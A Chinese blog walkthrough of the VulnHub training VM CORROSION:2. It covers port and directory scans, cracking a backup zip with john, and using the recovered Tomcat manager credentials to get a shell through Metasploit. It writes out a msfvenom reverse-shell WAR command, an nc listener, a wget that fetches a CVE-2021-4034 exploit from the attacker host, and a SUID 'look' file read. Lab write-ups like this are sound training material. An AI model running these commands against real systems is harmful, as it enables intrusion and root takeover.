vulnhub靶场——CORROSION:2 – 靶机训练

准备

攻击机: kali

靶机: CORROSION: 2 NAT 192.168.91.0 网段

下载连接:

https://www.vulnhub.com/entry/corrosion-2,745/

图片[1]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

信息搜集与利用

主机发现

如图所示得到目标靶机IP地址: 192.168.91.189

图片[2]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

端口扫描

nmap -sV -O -p- -T4 -A 192.168.91.189 –oN corronsion_nmap.txt

图片[3]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

如图所示开放了: 22,80(apache2 default),8080(tomcat) 共三个端口,由此可见这个靶机网页由java构成。根据之前做过的tomcat靶机来说,进入 manager 后台,然后上传war包来反弹shell。

HTTP

http://192.168.91.189/

图片[4]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

http://192.168.91.189:8080/

图片[5]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

目录扫描

python3 dirsearch.py -u http://192.168.91.189:8080/

图片[6]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

可疑文件

从扫描结果出来有一大堆的东西。其中 docs,examples 这两样是tomcat自带的文档和示例。

我们来查看一下 readme.txt 和 backup.zip。

http://192.168.91.189:8080/readme.txt

图片[7]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

其中说到,给了一个谁也找不到的文件(放屁)用密码打开此文件,那么就是指 backup.zip 文件,将其下载下来wget http://192.168.91.189:8080/backup.zip

unzip backup.zip

如图所示确实需要密码

图片[8]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

密码破解

zip2john backup.zip > password_hash.txt

图片[9]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

john –wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt

图片[10]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

如图所示得到密码:@administrator_hi5,很快就出来了。

现在解压
unzip backup.zip

图片[11]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

如图所示解压成功,很多文件

经过一番查找在 tomcat-users.xml 文件最下面发现了用户名和密码:

图片[12]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

manager:melehifokivai

admin:melehifokivai

这两个用户名都能登陆 tomcat 后台,分别用两个浏览器登陆。

图片[13]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

既然登陆了后台,我们尝试上传一个 war 包然后反弹shell.

制作 war 包可以看我以前的博客

kali渗透综合靶机-- prime-1-安全小天地
kali渗透综合靶机-- prime-1-安全小天地
kali渗透综合靶机– prime-1
沐寒的头像-安全小天地大咖2022年3月23日 08:14

066614

msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.27.243.168 LPORT=4444 -f war > shell.war

kali 开启 nc 监听,然后上传(将 shell.war 拷贝到 win11中)
nc -lvnp 4444

图片[14]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

去她娘的 404, 看来这个方法不得行。md。之后发现 msfconsole 中有一个可以 getshell 的模块配合账号密码即可。
use exploit/multi/http/tomcat_mgr_upload

设置红框的内容即可,账号密码在上面已经拿到。然后** run **

图片[15]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

run 之后,输入 shell 进入 shell 可疑看到为 tomcat 用户。

python3 -c “import pty;pty.spawn(’/bin/bash’)”

输入此命令得到标准的终端

参考一下文章

Linux 反向 shell 升级为完全可用的 TTY shell-安全小天地
Linux 反向 shell 升级为完全可用的 TTY shell-安全小天地
Linux 反向 shell 升级为完全可用的 TTY shell
沐寒的头像-安全小天地大咖2022年3月30日 20:03

022611

flag 1

在目录 /home/randy 中有第一个 flag : user.txt

图片[16]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

/home/randy/note.txt

图片[17]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地
嘿,兰迪,这是你的系统管理员,希望你今天过得愉快!我只是想让你知道
我更改了你对主目录的权限。您暂时无法删除或添加文件。
稍后我将更改这些权限。
下周一见randy!

查看一下 /etc/passwd 中可存在的用户

图片[18]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

方法一

发现 jaye 用户的密码和 manager 的密码一样都是 : melehifokivai

图片[19]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

find / -perm -u=s -type f 2>/dev/null

查找 具有 SUID 的命令发现了一个熟悉的: polkit-agent-helper-1 cve编号:
CVE-2021-4034

exp连接:

https://github.com/berdav/CVE-2021-4034

图片[20]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

发现靶机上没有 git 命令,但是可以用 wget 替代,最后发现还没有 make 命令,那么编译不了,但是我们可以在kali上将已经编译好的文件,下载到靶机中,然后运行,以后遇到类似的直接上传已经编译好的文件。

图片[21]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

将编译好的文件下载到靶机中:

wget http://172.27.243.168:8000/CVE-2021-4034.zip

图片[22]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

然后解压
unzip CVE-2021-4034.zip

然后进入 CVE-2021-4034文件夹,运行 ./cve-2021-4034,不出意外的话就会拿到 root 权限

如图所示拿到了root 权限,至此又又又通过 CVE-2021-4034 提权成功,不亏是存在了十多年的漏洞!!!

图片[23]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

flag 2

方法二

jaye:melehifokivai ssh 登陆后,在其家目录下 Files 中有 look 命令,可以越权访问文件:

图片[24]-vulnhub靶场——CORROSION:2 – 靶机训练-安全小天地

./look ‘’ ‘/root/root.txt’

如图所示直接读取第二个 flag , 如果在比赛中直接提交 flag 即可得分。

方法三

参考大佬的博客:

https://www.cnblogs.com/sainet/p/15668420.html#三提权

我这里测试失败,可能是我的原因

总结

  1. CVE-2021-4034
  2. look 越权读取文件
  3. msfconsole use exploit/multi/http/tomcat_mgr_upload getshell
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容